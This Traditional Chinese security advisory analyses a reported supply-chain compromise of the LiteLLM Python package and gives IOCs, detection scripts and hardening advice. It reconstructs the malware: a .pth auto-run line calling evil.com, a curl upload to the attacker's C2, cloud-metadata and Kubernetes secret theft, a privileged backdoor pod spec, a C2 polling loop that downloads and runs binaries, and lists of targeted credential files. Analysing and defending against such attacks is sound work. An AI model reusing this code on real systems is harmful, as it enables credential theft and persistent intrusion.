如果你的機器有安裝 LiteLLM,請立即閱讀本文。
2026年3月24日,AI 代理開發者間最廣泛使用的 Python 函式庫之一「LiteLLM」因供應鏈攻擊而被完全接管。
每月9,500萬次下載。影響範圍不可估計。
如果你安裝了 LiteLLM v1.82.7 或 v1.82.8,你的 SSH 金鑰、AWS/GCP/Azure 認證資訊、加密貨幣錢包、資料庫密碼都有可能已被攻擊者竊取。 在 Kubernetes 環境中,整個節點可能被植入後門。請立即對所有認證資訊進行輪換。
| 日期(UTC) | 事件 |
|---|---|
| 3月1日 | Aqua Security(Trivy 開發者)被入侵 |
| 3月19日 | Trivy v0.69.4〜v0.69.6 含惡意 Docker 映像。Malware 注入至 GitHub Actions |
| 3月23日 | Checkmarx KICS GitHub Action 以相同手法遭入侵 |
| 3月23日 | 攻擊者透過 Spaceship, Inc. 取得網域 litellm.cloud |
| 3月24日 ~08:30 | 在 PyPI 上發佈惡意 LiteLLM v1.82.8 |
| 3月24日 11:48 | GitHub Issue #24512 提出首份通報 |
| 3月24日 12:07 | 確認被入侵(「pwned」) |
| 3月24日 12:32 | 發現 v1.82.7 亦已被汙染 |
| 3月24日 13:48 | GitHub Issue #24518 公開詳細時間線 |
| 同日 | PyPI 將 litellm 套件全面隔離。BerriAI 與 Google 的 Mandiant 合作調查。 |
重要事實:GitHub 倉庫只存在到 v1.82.6.dev1 的標籤。v1.82.7 與 v1.82.8 是由攻擊者直接上傳到 PyPI,完全繞過原本的 CI/CD 管線。
這次攻擊並非單一事件,而是由名為 TeamPCP 的集團所發動的一連串供應鏈攻擊的一部分:
① Trivy(漏洞掃描器)v0.69.4〜v0.69.6
↓ 從 CI/CD 管線竊取 PyPI 認證資訊
② Checkmarx KICS GitHub Action
↓ 以相同手法侵害,進一步收集認證
③ 在 NPM 部署 CanisterWorm 蠕蟲
↓ 跨套件註冊表攻擊
④ LiteLLM v1.82.7 / v1.82.8
↓ 用竊得的認證接管維護者帳號並上傳惡意套件
⑤ 下一個目標 → ???
LiteLLM 的 CI/CD 管線在安裝 Trivy 時未指定版本,導致被污染的 Trivy 在管線中偷取 PyPI 認證令牌。攻擊者完全接管了維護者 krrishdholakia 的帳號。
此外,攻擊者的 GitHub 帳號 teampcp 也向原維護者擁有的其他不相關倉庫提交惡意 commit。換言之,不只是 PyPI,連 GitHub 帳號本身都被掌握。
先說明 .pth 檔案。這是 Python 的路徑設定檔,放在 site-packages/ 下會在 Python 啟動時被讀取,並將其中列出的路徑加入 sys.path。第三方函式庫常用它來註冊額外的模組搜尋路徑,例如 setuptools 的 distutils-precedence.pth。
問題在於:如果 .pth 檔案中某一行以 import 開頭,該行會被當作 Python 程式碼執行。這是 Python 官方文件所記載的標準行為。
也就是說,只要把 .pth 放到 site-packages,每次 Python 直譯器啟動時就會自動執行任意程式碼。甚至不需要 import litellm。
範例(說明性):
# 正常的 .pth(僅加入路徑)
/some/extra/path
# 惡意 .pth(以 import 開頭的行會被當程式碼執行)
import os; os.system("curl evil.com | sh")
import 鉤子或匯入保護都無效。當 pip install 展開 wheel 時,.pth 檔案會被放入 site-packages,因此這成了完美的惡意碼傳播管道。
也就是說,只要執行 pip install litellm==1.82.8,事情就會發生。
本次惡意程式透過「三階段 Base64 解碼」來做難讀化:
┌─────────────────────────────────────────┐
│ Stage 0: litellm_init.pth (34,628 bytes)│
│ ─────────────────────────────────────── │
│ import os, subprocess, sys │
│ subprocess.Popen([ │
│ sys.executable, "-c", │
│ "import base64; exec(b64decode(...))" │ ← 在子程序執行
│ ]) │
└────────────────┬────────────────────────┘
↓ Base64 解碼
┌─────────────────────────────────────────┐
│ Stage 1: Orchestrator (25,844 bytes) │
│ ─────────────────────────────────────── │
│ ・硬編碼的 RSA-4096 公開金鑰 │
│ ・B64_SCRIPT 變數(→ Stage 2) │
│ ・AES-256-CBC 加密例程 │
│ ・exfiltration(資料外流)邏輯 │
└────────────────┬────────────────────────┘
↓ Base64 解碼
┌─────────────────────────────────────────┐
│ Stage 2: Collector (17,281 bytes) │
│ ─────────────────────────────────────── │
│ ・emit() / run() 工具函式 │
│ ・認證資訊擷取(harvesting) │
│ ・AWS SigV4 簽名(不需 boto3) │
│ ・Secrets Manager / SSM Parameter Store │
│ ・EC2 IMDS v2 角色認證資訊竊取 │
│ ・K8s API 查詢 │
│ ・PERSIST_B64 變數(→ Stage 3) │
└────────────────┬────────────────────────┘
↓ Base64 解碼
┌─────────────────────────────────────────┐
│ Stage 3: Persistence (1,125 bytes) │
│ ─────────────────────────────────────── │
│ ・C2 輪詢迴圈(50 分鐘間隔) │
│ ・任意二進位檔下載與執行 │
│ ・以 systemd 服務註冊持久化 │
└─────────────────────────────────────────┘
蒐集來的資料經以下流程加密並送出:
# 實際惡意程式會執行的模擬指令
# ① 產生隨機 session key
openssl rand -out session.key 32
# ② 用 AES-256-CBC 加密蒐集的資料
openssl enc -aes-256-cbc -in stolen_data.tar -out encrypted.bin \
-pass file:session.key
# ③ 用 RSA-4096 公開金鑰加密 session key
openssl pkeyutl -encrypt -pubin -inkey attacker_rsa.pub \
-in session.key -out session.key.enc
# ④ 打包並上傳到 C2 伺服器
tar -czf tpcp.tar.gz encrypted.bin session.key.enc
curl -X POST https://models.litellm.cloud/ -F "[email protected]"
注意:壓縮檔名為 tpcp.tar.gz,包含攻擊集團名「TeamPCP」的簽章。
此次被竊取的資料比早期報導更廣泛,包含:
本機檔案
# SSH 金鑰(所有格式)
~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa
~/.ssh/authorized_keys, known_hosts, config
# 雲端認證
~/.aws/credentials, ~/.aws/config
~/.config/gcloud/application_default_credentials.json
~/.azure/accessTokens.json
~/.kube/config
# 開發工具
~/.gitconfig, ~/.git-credentials
~/.docker/config.json
~/.npmrc
~/.vault-token
# Shell 歷史(可從過去命令中抽取秘密)
~/.bash_history, ~/.zsh_history
~/.mysql_history, ~/.psql_history, ~/.pgpass
# CI/CD 機密
~/.terraform.d/credentials.tfrc.json
~/.config/gh/hosts.yml # GitHub CLI 認證
~/.gitlab-ci-token
~/.travis/config.yml
~/.jenkins/secrets/
加密貨幣錢包(超過 11 種)
~/.bitcoin/wallet.dat
~/.ethereum/keystore/
~/.litecoin/
~/.dogecoin/
~/.zcash/
~/.dash/
~/.ripple/
~/.monero/
~/.cardano/
~/.solana/
AWS 的積極權限提升
特別惡劣的是,惡意程式並未依賴 boto3,而是自行實作 SigV4 簽名,直接向 AWS API 發送原始 HTTP 請求:
# 惡意程式行為(簡化)
# 不需要 boto3 - 直接用原始 HTTP 請求呼叫 AWS API
# 1. 從 EC2 Metadata Service (IMDS v2) 竊取角色認證
TOKEN = requests.put("http://169.254.169.254/latest/api/token",
headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}).text
creds = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/",
headers={"X-aws-ec2-metadata-token": TOKEN}).json()
# 2. 下載 Secrets Manager 的所有秘密
secrets = aws_request("secretsmanager", "ListSecrets", region)
for secret in secrets:
value = aws_request("secretsmanager", "GetSecretValue", region, SecretId=secret["ARN"])
# 3. 下載 SSM Parameter Store 的所有參數
params = aws_request("ssm", "GetParametersByPath", region, Path="/", Recursive=True, WithDecryption=True)
換言之,若惡意程式在 EC2 實例上執行,不僅會偷走本機檔案,還會把 AWS Secrets Manager 與 Parameter Store 中儲存的所有機密一併竊取。
當 Stage 2 偵測到 Kubernetes service account token 時,會做進一步更可怕的動作:
① 讀取所有 Namespace 的 Secrets
# 直接呼叫 K8s API 取得叢集內所有 Secret
token = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read()
secrets = requests.get(
"https://kubernetes.default.svc/api/v1/secrets",
headers={"Authorization": f"Bearer {token}"},
verify="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
)
② 在所有節點部署特權 Pod
範例為惡意程式會建立的 Pod 規格(重現):
apiVersion: v1
kind: Pod
metadata:
name: node-setup-<node-name> # ← 偵測時的識別字
namespace: kube-system # ← 潛伏於管理用 namespace
spec:
hostPID: true # 存取主機的 process namespace
hostNetwork: true # 存取主機網路
tolerations:
- operator: Exists # 可排程到控制平面節點
nodeSelector:
kubernetes.io/hostname: <target-node>
containers:
- name: setup
image: alpine:latest
securityContext:
privileged: true # 完全特權
volumeMounts:
- name: host-root
mountPath: /host # 掛載主機 root FS
command:
- chroot
- /host
- /bin/bash
- -c
- |
# 在主機上直接安裝後門
mkdir -p /root/.config/sysmon/
echo '<PERSIST_B64>' | base64 -d > /root/.config/sysmon/sysmon.py
# 以 systemd 服務持久化
mkdir -p /root/.config/systemd/user/
cat > /root/.config/systemd/user/sysmon.service << 'UNIT'
[Service]
ExecStart=/usr/bin/python3 /root/.config/sysmon/sysmon.py
Restart=always
StartLimitIntervalSec=0
StandardOutput=null
UNIT
systemctl --user enable sysmon
systemctl --user start sysmon
volumes:
- name: host-root
hostPath:
path: /
這代表:只要叢集中任一 Pod 安裝了 LiteLLM,整個叢集的所有節點都有可能被植入後門。這不只影響開發環境,生產叢集亦會被攻陷。
最終階段是「靜默監控者」:
# sysmon.py — 持久化 C2 後門(重現程式碼)
import urllib.request, subprocess, os, time
C2_URL = "https://checkmarx.zone/raw" # C2 伺服器
STATE_FILE = "/tmp/.pg_state" # 已執行標記
BINARY_PATH = "/tmp/pglog" # 下載路徑
time.sleep(300) # 第一次啟動等待 5 分鐘(避免被偵測)
while True:
try:
resp = urllib.request.urlopen(C2_URL)
url = resp.read().decode().strip()
# 若為 YouTube URL 則跳過(測試用 artefact)
if "youtube.com" in url:
pass
elif not os.path.exists(STATE_FILE):
# 下載並執行任意二進位檔
urllib.request.urlretrieve(url, BINARY_PATH)
os.chmod(BINARY_PATH, 0o755)
subprocess.Popen([BINARY_PATH])
open(STATE_FILE, "w").close() # 防止重複執行
except:
pass
time.sleep(3000) # 每 50 分鐘輪詢一次
systemd 服務特性:
Restart=always + StartLimitIntervalSec=0 → 無限重啟StandardOutput=null → 完全抑制日誌輸出sysmon(偽裝成系統監控工具)也就是說,竊取認證後,該機器會每 50 分鐘向攻擊者的 C2 伺服器通訊,並可額外下載、執行任意惡意程式,維持攻擊者的持續控制。
諷刺的是,這支惡意程式本身有錯誤。.pth 檔案利用 subprocess.Popen 啟動子處理,但子處理在 Python 啟動時也會再執行 .pth,結果可能造成指令分叉炸彈(fork bomb),導致進程指數級增長:
python 啟動 → .pth 執行 → subprocess.Popen(python)
→ .pth 再執行 → subprocess.Popen(python)
→ .pth 再執行 → ...(無限)
可見即便是惡意開發者也會寫錯 bug。
安全團隊應監控下列 IOC:
文件雜湊(File hashes)
網路指標(Network indicators)
| 類型 | 值 | 用途 |
|---|---|---|
| 資料送出 | hxxps://models[.]litellm[.]cloud/ | 認證資料上傳 C2 |
| 後門輪詢 | hxxps://checkmarx[.]zone/raw | 後門輪詢 URL |
| 網域註冊 | Spaceship, Inc.(2026-03-23 註冊) | 攻擊者用於註冊惡意網域 |
取證痕跡(Forensic artifacts)
# 檔案系統
*/site-packages/litellm_init.pth # 初始 payload
~/.config/sysmon/sysmon.py # 持久化後門
~/.config/systemd/user/sysmon.service # systemd 服務檔
/tmp/pglog # 下載的惡意二進位檔
/tmp/.pg_state # 執行旗標
# Kubernetes
kube-system namespace 中的 "node-setup-*" Pod
RSA 公開金鑰(開頭片段)
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...
# === 本機檢查 ===
# 1. 搜尋 .pth 檔案(所有 Python 環境)
find / -name "litellm_init.pth" 2>/dev/null
# 2. 檢查已安裝版本
pip show litellm 2>/dev/null | grep -i version
pip3 show litellm 2>/dev/null | grep -i version
# 3. 檢查所有虛擬環境
find ~ -path "*/site-packages/litellm_init.pth" 2>/dev/null
# 4. 檢查後門檔案是否存在
ls -la ~/.config/sysmon/sysmon.py 2>/dev/null
ls -la ~/.config/systemd/user/sysmon.service 2>/dev/null
ls -la /tmp/pglog /tmp/.pg_state 2>/dev/null
# 5. 檢查 systemd 服務
systemctl --user status sysmon 2>/dev/null
# 檢查是否有對攻擊者網域的通訊紀錄
grep -r "litellm\.cloud\|checkmarx\.zone" \
~/.bash_history ~/.zsh_history 2>/dev/null
# 檢查活動連線
lsof -i -n | grep -E "litellm|checkmarx" 2>/dev/null
netstat -an | grep -E "litellm|checkmarx" 2>/dev/null
# macOS 的 DNS 解析日誌
log show --predicate 'process == "mDNSResponder"' --last 48h 2>/dev/null \
| grep -E "litellm\.cloud|checkmarx\.zone"
# 檢查可疑 Pod
kubectl get pods -n kube-system | grep "node-setup"
# 跨 Namespace 檢查
kubectl get pods --all-namespaces | grep "node-setup"
# 檢查最近建立的 Pod
kubectl get pods -n kube-system --sort-by=.metadata.creationTimestamp \
| tail -20
# 在各節點上檢查後門(於節點上執行)
ssh <node> "ls -la /root/.config/sysmon/ 2>/dev/null; \
systemctl --user status sysmon 2>/dev/null"
# ========== 立即執行 ==========
# 1. 卸載 LiteLLM
pip uninstall litellm -y
# 2. 刪除惡意檔案
find / -name "litellm_init.pth" -delete 2>/dev/null
rm -f ~/.config/sysmon/sysmon.py
rm -f ~/.config/systemd/user/sysmon.service
rm -f /tmp/pglog /tmp/.pg_state
systemctl --user stop sysmon 2>/dev/null
systemctl --user disable sysmon 2>/dev/null
# 3. 重新產生 SSH 金鑰
cd ~/.ssh
for key in id_rsa id_ed25519 id_ecdsa id_dsa; do
[ -f "$key" ] && mv "$key" "${key}.compromised.$(date +%s)"
done
ssh-keygen -t ed25519 -C "rotated-$(date +%Y%m%d)"
# ========== 認證資訊輪換 ==========
# 4. AWS
aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER \
--access-key-id OLD_ACCESS_KEY_ID
# 同時必須輪換 Secrets Manager 中的所有機密
# 5. GCP
gcloud auth revoke --all
gcloud auth login
# 6. GitHub
gh auth logout
gh auth login
# 7. Docker
docker logout
docker login
# ========== Kubernetes 叢集復原 ==========
# 8. 刪除不正 Pod
kubectl delete pods -n kube-system -l "node-setup" --force
# 模式匹配刪除
kubectl get pods -n kube-system -o name | grep "node-setup" | \
xargs kubectl delete -n kube-system --force
# 9. 從所有節點移除後門
for node in $(kubectl get nodes -o name | cut -d/ -f2); do
ssh "$node" "rm -rf /root/.config/sysmon/; \
systemctl --user stop sysmon; \
systemctl --user disable sysmon; \
rm -f /root/.config/systemd/user/sysmon.service"
done
最重要:請務必對所有雲端供應商(AWS/GCP/Azure)的認證資訊、SSH 金鑰、API 金鑰、資料庫密碼進行全面輪換。不能抱持「大概沒事」的心態。假設 AWS Secrets Manager 與 SSM Parameter Store 中的秘密也已被竊取,並依此處理。
LiteLLM 提供統一代理(proxy)介面,可存取 OpenAI、Anthropic、Google、AWS Bedrock 等超過 100+ LLM 提供者。
換句話說,使用 LiteLLM 的環境幾乎肯定存在高價值的 API 金鑰。
對攻擊者而言,這是極佳的目標。
LiteLLM 使用者潛在的認證損失估計:
「我沒在用 LiteLLM,所以沒事」
你確定嗎?
LiteLLM 的 GitHub 倉庫(40,400 星、6,700 fork)的 Dependents 頁面顯示,有 19,262 個倉庫與 2,247 個套件相依於 LiteLLM。
換言之,即使你沒親自執行 pip install litellm,也可能是其他工具在背後替你安裝了它。
直接依賴 LiteLLM 的主要專案(若你使用下列專案之一,環境中很可能有 litellm,請立刻用 pip show litellm 檢查):
AI 代理框架
litellm>=1.64.0litellm>=1.3.1LLM 基礎工具與觀測平台
Python 的相依關係是「遞歸的(transitive)」:
你安裝了:
pip install dspy
└── dspy 相依:
└── litellm>=1.64.0 ← 會被自動安裝
你安裝了:
pip install openhands
└── openhands 相依:
└── litellm ← 會被自動安裝
若你有自動更新或在不當時機執行 pip install --upgrade,很可能已在不知情下安裝到 v1.82.7 / v1.82.8。
# 在所有 Python 環境中檢查 litellm 是否存在
pip list 2>/dev/null | grep -i litellm
pip3 list 2>/dev/null | grep -i litellm
# 橫跨所有虛擬環境檢查
find ~ -path "*/site-packages/litellm" -type d 2>/dev/null
# 查出是哪個套件要求 litellm
pip show litellm 2>/dev/null | grep "Required-by"
# 在 Docker 映像內也檢查(生產環境)
docker run --rm your-image pip list | grep litellm
有 19,262 個倉庫相依於 litellm — 規模相當於像 numpy 或 requests 這類常見函式庫。與 AI 開發相關的工程師中有大量人員可能在影響範圍內。
BerriAI 採取的措施包括:
@krrish-berri-2, @ishaan-berri)目前 PyPI 上的 litellm 的所有版本已被隔離,pip install litellm 將在所有版本上失敗。
觀察 TeamPCP 的攻擊模式,令人不寒而慄:
Trivy v0.69.4-v0.69.6 — 安全掃描器
↓ 從 CI/CD 竊取機密
Checkmarx KICS — GitHub Action
↓ 繼續從 CI/CD 收集機密
NPM — 部署 CanisterWorm 蠕蟲
↓ 侵蝕 JavaScript 生態系
LiteLLM v1.82.7/v1.82.8 — AI 代理 / 代理庫(每月 95M 下載)
↓ 竊取開發者所有認證 + 掌握 K8s 叢集
??? — 下一個目標
請注意模式:
連鎖尚未停止。下一個可能被盯上的,是 LangChain、CrewAI,或任何你正在使用的工具。
# requirements.txt - 不只鎖版本,也鎖雜湊
litellm==1.82.6 \
--hash=sha256:abc123def456...
使用 pip-compile 產生帶雜湊的 requirements:
pip-compile --generate-hashes requirements.in
範例 GitHub Actions Workflow:
name: Dependency Audit
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check for malicious packages
run: |
pip install pip-audit
pip-audit --strict --desc
- name: Verify no suspicious .pth files
run: |
SITE=$(python3 -c "import site; print(site.getsitepackages()[0])")
SUSPICIOUS=$(find "$SITE" -name "*.pth" \
! -name "distutils-precedence.pth" \
! -name "easy-install.pth" \
-exec grep -l "import\|exec\|eval\|subprocess" {} \;)
if [ -n "$SUSPICIOUS" ]; then
echo "::error::Suspicious .pth files with executable code found:"
echo "$SUSPICIOUS"
exit 1
fi
此次根本原因為 CI/CD 管線中存在 PyPI 認證:
建議使用 OIDC(OpenID Connect)而非將密碼存為環境變數,並啟用 PyPI 的 Trusted Publishers 功能:
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
with:
# 使用 OIDC token 而非密碼
attestations: true
可用 cron 定期掃描 site-packages 下的 .pth 檔案,並與基線比對:
# crontab -e
0 * * * * find /usr/lib/python3*/site-packages \
-name "*.pth" -newer /tmp/.pth-baseline \
-exec echo "NEW .pth FILE: {}" \; | mail -s "ALERT" [email protected]
# 建立基線
find /usr/lib/python3*/site-packages -name "*.pth" > /tmp/.pth-baseline
為每個專案建立獨立 venv,並禁止全域安裝:
python3 -m venv .venv --clear
source .venv/bin/activate
# 禁止全域安裝
export PIP_REQUIRE_VIRTUALENV=true
設定 PodSecurityStandard 為 restricted 並阻止 privileged Pod:
apiVersion: v1
kind: Namespace
metadata:
name: your-namespace
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/warn: restricted
使用 OPA / Gatekeeper 禁止 privileged 容器:
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPPrivilegedContainer
metadata:
name: deny-privileged
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
在 EC2 上禁止 IMDS v1,只允許 v2:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-put-response-hop-limit 1
在 Secrets Manager 的 IAM 策略中使用 Condition 來限制只有特定角色能存取。
LiteLLM 曾是被信任的函式庫,9,500 萬次下載,許多企業在生產環境中使用。
但「信任」不是安全模型:
零信任(Zero Trust)不再只是網路層面的議題。相依性、套件註冊表、CI/CD、甚至你用來「保護」系統的工具,都必須被懷疑與防護。
如果本文對你有幫助,請按讚並收藏,並分享給周遭的 AI 開發者。
你是否有使用 LiteLLM?如果有被影響,請在留言中告訴我們,我們可以一起討論因應方法。
下一篇將發布「在 GitHub Actions 中自動偵測 Python 供應鏈攻擊的完整教學」。